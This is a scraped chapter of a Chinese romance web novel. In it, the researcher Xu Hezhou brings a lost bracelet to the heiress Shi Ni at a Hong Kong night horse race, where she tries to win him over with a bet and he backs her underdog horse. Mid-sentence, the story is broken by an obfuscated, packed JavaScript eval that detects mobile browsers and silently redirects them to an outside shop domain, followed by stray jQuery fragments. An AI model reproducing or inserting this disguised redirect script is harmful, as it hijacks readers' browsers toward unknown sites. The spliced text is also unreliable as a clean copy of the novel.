文趣网 > 其他小说 > 真爱至上主义 > 6. 06 赛马
    第二天中午,徐鹤周在实验室接到kevin的电话,说失主要求捡到的人亲自去送手链。

    发过来的地址是一个赛马场。

    赛马是港岛的“全民-运动”,也是一种文化符号。港岛共有两个赛马场,一个是世纪后新建的,现代化规模化,常用来举办正式赛事;另一个则历史悠久,以夜赛为主,气氛热烈,最具有港岛特色。

    手机上这个地址便是后者。

    挂了电话后,徐鹤周回到实验室,继续把手头上的工作完成,见时间差不多了,才去酒吧拿了手链,坐地铁前往赛马场。

    博士的前两年,徐鹤周大多还是以辅助导师为主,但几个月前他已经开始主导自己的课题,主要方向还是提升VLA模型的成功率。

    港岛一家企业对他的新课题很感兴趣,和学校达成合作,形成了产学研联合项目。但最近项目的研究不太顺利,大家连着熬了几天夜,中间还穿插了一次展会宣讲,饶是以徐鹤周的韧性都有些疲惫。

    不过他向来喜欢这种有目标,有追求的感觉,这会让他觉得安全。

    他找了个位置坐下,从手机上看这几天的实验数据,思考着该如何调整。

    等徐鹤周想出些思路,地铁也到站了,他出了地铁,坐上因赛程增设的城巴10线,没几分钟便抵达马场入口。

    “你好,请问是徐生吗?”

    一位穿着正装的工作人员早已等候在此,见徐鹤周点头后,领他进去。

    夜晚的赛马场很有氛围,右边是看台,此刻人潮汹涌,几乎满座。中间是绿草地的赛场,场馆的灯将赛场照的明亮一片。

    十分特殊的景观是赛场的背景,也就是看台对面,一排灯火璀璨的高楼大厦,宛如赛博风的城市景观。

    一匹匹野性热血的骏马仿佛奔驰在城市中,人们伴随着赛事变化发出潮水般的惊呼或哀叹。

    带路的人并未领徐鹤周去楼上的包厢,反而来到公共区,这里有块被特意开辟出来的,贴近跑到的区域。

    里面没几个人,却占了不小的面积,显然是特意给喜欢身临其境的贵客准备的。

    一走进来,徐鹤周便看见随意倚靠在栏杆上的施霓。

    她侧着头,神色淡淡,正和旁边的人聊天,不知谁说到什么趣事,周围几人纷纷笑起来,连施霓也舒展了眉头,微微勾起唇角。

    徐鹤周慢慢走近,逐渐听到她们的对话。

    “你准备去哪儿度假……”

    “还没想好呢,全世界都去遍了,我都腻了,还不如呆在家里。”

    工作人员走过去说了声抱歉,对施霓道:“大小姐,您等的人来了。”

    众人纷纷转头,看见站在不远处的徐鹤周,眼里浮现出好奇和打量。

    施霓对他们说了句什么,其余人便心领神会地离开此处,温如意也在其中,路过徐鹤周时,眼神充满兴味,还冲他打了个招呼。

    “又见面了。”施霓笑着说道。

    徐鹤周走上前,将袋子递给她,“施小姐,这是你的手链,kevin让我送过来。”

    “谢啦。”施霓接过来,随意地放在一边,才对他说:“昨天本来想邀你吃饭的,但你有事,所以只能换个方法请你见面喽。对了,我昨天也去展会了,听了你的宣讲,很精彩。”

    嗯,他知道。

    他看见了站在人群中逐渐离去的施霓,甚至还差点因此忘词,但不论心中有多少想法,此刻徐鹤周只能不动声色,说:“谢谢。”

    “我对机器人这个领域不太了解,你们平时都做什么呢?”施霓看着他,眼里满是好奇。

    但细看,不过都是浮于表面。

    她之前好歹管着清瑞,怎么会不了解科技领域,此刻不过是为了套话。

    “技术人员其实分几个方向,比如算法、硬件、集成和具身智能等,每个方向的工作内容都不太一样,各有所长,偶尔也会互相合作。”

    “那你们都是自己研究,还是也有外部合作呢?”

    “都有,有些是学校发起的项目,有些是外部公司找来研发合作的项目。”

    施霓眼神微动,问出自己真正想问的:“那一般你们怎么挑选合作公司呢?或者说对合作公司有什么要求?”

    徐鹤周似乎并未察觉,认真回复道:“其实没有什么特殊的要求,只是选择我们认为最适配的,例如公司背景,专业程度和产品开发方向等。”

    这样啊。

    施霓眼睛狡黠地转了转,思考着接下来的对策。

    怕再问引得徐鹤周怀疑,施霓话题一转,明知故问:“你是哪里人,听口音不像港岛的。”

    徐鹤周心中微动,浮起一些自己都不能控制的期望,轻声说:“老家在贵省。”

    “贵省?”完成自己的目的后,施霓就没那么认真和徐鹤周说话了,视线被进入最后一圈的赛马吸引,随口道:“那不算太远,不过我还没去过呢。”

    徐鹤周一顿,眼里露出些疑惑,但很快释然,只残留些淡淡的失落:“是嘛。”

    忽地,赛场上爆发出一阵热烈的欢呼,这轮比赛结束了。

    施霓这才将注意力又放回身边的人上。

    徐鹤周和她一样站在栏杆处,只不过她是没骨头地靠着栏杆,徐鹤周却站得直直的,正认真地看着大屏上的排名,即便是在如此喧闹的环境里,他好像也有种平静澄明的气场。

    其实,那晚在酒吧施霓注意到他不是没有道理的,徐鹤周这人不知道为什么让她有种莫名的破坏欲。

    难道是因为对方总是一副很清高,很风轻云淡的样子,而她最讨厌这样惺惺作态的人?

    加上至今她都还没找到,他这个人设的破绽?

    如果孙继在这里,大概又会扶着额头感叹,大小姐又犯病了。

    世界上大概分两种人,一种倾向于将人往好的方向想,另一种则是不惮于将人往恶的方向想。

    施霓显然是后者。

    啧,施霓摩挲了下手腕上的表,终于看见不远处端着托盘的女郎,侧头问徐鹤周:“知道下注吗?”

    徐鹤周投来疑问的眼神。

    “就是预测赛马的结果,跟买足球类似。你没接触过的话,可以选一些基础的玩法。比如独赢、位置和连赢。独赢顾名思义,预测第一名的马;位置则需要预测前三名的马;最后连赢便是预测前两名的马。如果想进阶一点也有,二重彩三重彩等都行,不过就需要按顺序了。”

    施霓说着忽然上前一步,两人的距离被迅速拉进。

    她秾艳昳丽的脸上扬起一抹笑,灯光仿佛星星落入她眼中,晚风一吹,眼波流转,星星便也在颤抖。

    她对着徐鹤周眨眨眼,刻意将语气放得轻软,循循诱导般地说:“下轮比赛,你来下注,金额随你。赢了算你的,输了算我的,就当我对你的道歉礼物,怎么样?”

    好意与恶意,往往只是一念之间。

    伊甸园里,蛇用一双明亮的眼睛诱惑亚当吃下知善恶树的果实,从此人间有了原罪。

    现在也让她看看,金钱之下,读书人到底有几斤风骨。

    可惜与施霓预想的,徐鹤周在人设与利益间艰难抉择的画面不同,他没有那么复杂深刻的心理。

    他只是在想,他好像很少看见施霓的笑。

    来到港岛后,他其实没见过施霓几次,一只手都数得过来,但每次她的神情似乎都淡淡的,说不上不高兴,但也说不上高兴。

    旁人都说大小姐性格冷傲,但他总觉得有种淡淡的忧愁,旋即又觉得自己想多

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721448|208678||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了。

    如今看见她笑,徐鹤周的心情也更好,他摇摇头,“我对这项运动不了解,更对赛场上的马不了解,不适合下注。那天并不是什么大事,施小姐你昨天表达的歉意就足够了。”

    “口头道歉多没诚意。”施霓怎么会放过这个机会,她继续劝说:“你不用有负担,多的是人每天研究也选不对呢。万一你有新手光环呢?而且我会帮你啊,我有专业的马评人,你放心。”

    “还是说……你不买,是不想接受我的道歉?”

    话都说到这,徐鹤周一时沉默,施霓好整以暇地和他对视。

    此时,下一轮比赛的马匹被牵马师们带上来,集体进入赛场中央的亮相圈。

    每匹马都毛光水滑,精神昂扬,徐鹤周扫视一圈,注意到一匹毛发全黑,右耳朵上却有一撮白色毛发的马。

    赛场上响起CalltothePost的号角旋律,徐鹤周忽然笑了下,如雪消融,对她说:

    “那我就赌你的马赢。”

    清朗的声音落下,施霓有片刻失神,随即疑惑:“你怎么知道我有马?”

    徐鹤周手微微收紧,“正常逻辑而已,毕竟施小姐这么喜欢赛马,怎么会没有自己的马。”

    的确是这个道理,施霓没再多想,如实告知:“我的马年初受了伤,复建到现在虽然已经好了,但因为有心理阴影,成绩不太好,你买它肯定会输的。”

    她本来就是故意让徐鹤周下注,对方不懂赛马,肯定会让自己推荐,这样她不就顺理成章送了一笔钱给他,关系就建立起来了。

    虽然徐鹤周这话她听着挺受用,但如今不能让他这么选,打乱她的计划。

    施霓以为徐鹤周听完会顺水推舟,然而他却再次摇头,“既然是施小姐你的钱,那就要赢一起赢,输就一起输。”

    施霓皱眉,然而她来不及阻止,徐鹤周便转身走向那位女郎。

    “你好,我想买Drake和6号马连赢。”徐鹤周随手选了另一匹。

    女郎有些惊讶,只有资深马迷才会熟知马匹的名字,可资深马迷哪个不知道Drake的情况,谁会来下注一匹半废的马?

    于是女郎加上马匹序号再次确认,“先生,您确认是9号Drake吗?”

    徐鹤周点头,女郎便不再多说,帮他下注。

    施霓隔的有点距离,并没有听到徐鹤周说出Drake的名字,看着他这一连串的行为,难得有些摸不清一个人的目的。

    徐鹤周放弃一大笔钱,难道就为了奉承她?

    那为什么那天在酒吧,他又要拒绝,难不成是那时候不认识,后来知道她身份后,后悔了所以要弥补?

    霎时,一声锐亮鸣笛划破赛场,起跑闸轰然弹开,十余匹赛驹扬蹄奔出,风驰电掣掠向赛道,越过一个个障碍,看台上欢呼声骤然炸开。

    显示屏上展示着比赛状况,赛道旁的转播汽车跟着马匹一起行动。

    Drake的状态确不好,跳跃总是不够果断,很快便落在了队伍末尾。

    然而过了几圈,突发意外,Drake前面的一匹马在争夺位置时出现失误,与其余马匹产生碰撞,不慎直接跪摔到草地上,身体重重倒到地上,骑师也摔下来滚了好几圈。

    这与年初drake受伤的方式一模一样,Drake顿时有些受惊。

    施霓心也跟着提起来,恰好这时Drake在两人前方的跑道上,施霓忍不住喊了声它的名字。

    明明如此嘈杂,Drake却似乎听到了她的呼喊,嘶叫一声,猛然重新奔跑起来,此后便仿佛换了一匹马,变得气势昂扬,越过一个个对手,在呐喊声中威风凛凛地冲线。

    施霓迅速抬头,场内的巨型电子屏上瞬时显示出本轮比赛的结果。